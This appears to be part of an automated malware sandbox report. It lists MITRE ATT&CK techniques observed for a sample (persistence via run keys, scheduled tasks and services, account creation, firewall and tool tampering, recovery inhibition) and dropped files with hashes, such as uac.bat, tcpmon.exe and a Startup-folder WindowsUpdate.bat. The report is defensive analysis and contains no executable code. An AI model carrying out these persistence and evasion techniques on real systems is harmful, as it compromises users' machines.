                                                                                                                                                                                                                                                                                                                                                                                      PowerShell

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1059.001

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                                                                                                                                                      Windows Management Instrumentation

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1047

                                                                                                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                                                                                                      Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1098

                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                                                                                                                                                      Create Account

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1136

                                                                                                                                                                                                                                                                                                                                                                                      Local Account

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1136.001

                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                      Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1098

                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                      Direct Volume Access

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1006

                                                                                                                                                                                                                                                                                                                                                                                      Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1562

                                                                                                                                                                                                                                                                                                                                                                                      Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1562.004

                                                                                                                                                                                                                                                                                                                                                                                      Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1562.001

                                                                                                                                                                                                                                                                                                                                                                                      Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1070

                                                                                                                                                                                                                                                                                                                                                                                      File Deletion

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1070.004

                                                                                                                                                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                                                                                                                      Permission Groups Discovery

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1069

                                                                                                                                                                                                                                                                                                                                                                                      Local Groups

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1069.001

                                                                                                                                                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                                                                                                                      System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1016

                                                                                                                                                                                                                                                                                                                                                                                      Wi-Fi Discovery

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1016.002

                                                                                                                                                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                                                                                                                                                      Inhibit System Recovery

                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                      T1490

                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 078b135f90f119ef121984f662ba3ade35a1c6486c57f8eb3b6eead5b31f0d49
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 eccfcce5ff735b8b34f57f62b51e11e2219159d051cb3377fd26aa3faad22d9c
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 f6db11839331682c97dd4aa5c1d8929a70831a942feb53713f0a20be6aae6c1e
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 f0ae39cc0298ac05da7a4e969f257ad7c47baa3d9aadce6322d60b40eecc2562
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b6d82bf08ac8b1c4f37f0e864c7526c1ee00e71585dd42218154185250ca5bb5
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 867f78666780d0209a91c28074c795be6a43cd99e9f7fb46b6c74b1236c38ac2
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e1e2b30cdc2faf341eff4a379a25e66950d4bae1544b41ebe5bf2348a3c8a3a7
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 ddf6e945489c48fd1a54ce7bdf653b0ff891cb75bb9fe04447d00dfa5f8ed43a
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 3223ba0d41fab96104430abf50a1064d90845ecee393d86a4bf87051c854e29b
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                      • Size 53KB
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      7cb8a62d-ddde-4fed-84aa-7c874f622165.inf
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\7cb8a62d-ddde-4fed-84aa-7c874f622165.inf
                                                                                                                                                                                                                                                                                                                                                                                      • Size 154B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      89dbfef8-f1a6-4315-a651-3756e78c8a35.inf
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\89dbfef8-f1a6-4315-a651-3756e78c8a35.inf
                                                                                                                                                                                                                                                                                                                                                                                      • Size 179B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 729a7aa4f12a81d56a03e7ec8da6779ff460d4ff06e9b06adabe7c2063398bae
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      __PSScriptPolicyTest_tcdjbrrd.fz4.ps1
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tcdjbrrd.fz4.ps1
                                                                                                                                                                                                                                                                                                                                                                                      • Size 60B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      uac.bat
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\uac.bat
                                                                                                                                                                                                                                                                                                                                                                                      • Size 85B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d5a371a4ce69118327e486f910135b460e8c01e7d1e419aaba70581ac9f9cfbb
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                                      • Size 39KB
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b41bcf55ad0046f0c07bf7c56e0cff0ef2efefbdffd39c2cbc4998066fb0bb80
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      config.dat
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\FC5EBA9D-D9EF-4D67-BEE3-55EDD5251066\config.dat
                                                                                                                                                                                                                                                                                                                                                                                      • Size 28B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      run.dat
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\FC5EBA9D-D9EF-4D67-BEE3-55EDD5251066\run.dat
                                                                                                                                                                                                                                                                                                                                                                                      • Size 20B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      WindowsUpdate.bat
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat
                                                                                                                                                                                                                                                                                                                                                                                      • Size 60B
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\Documents\invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                                      • Size 52KB
                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e334395e92d2c97223d6df845f4e9f193aec77338d1cf3aa7617095250c3bd58
                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                      memory/3324-299-0x000000001AF90000-0x000000001AFA0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                      Download

                                                                                                                                                                                                                                                                                                                                                                                      memory/3324-0-0x0000000000170000-0x0000000000180000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                      Download

                                                                                                                                                                                                                                                                                                                                                                                      memory/4764-37-0x0000016FDBAC0000-0x0000016FDBAE2000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                      Download

                                                                                                                                                                                                                                                                                                                                                                                      memory/7076-592-0x00000170F2540000-0x00000170F2541000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                      Download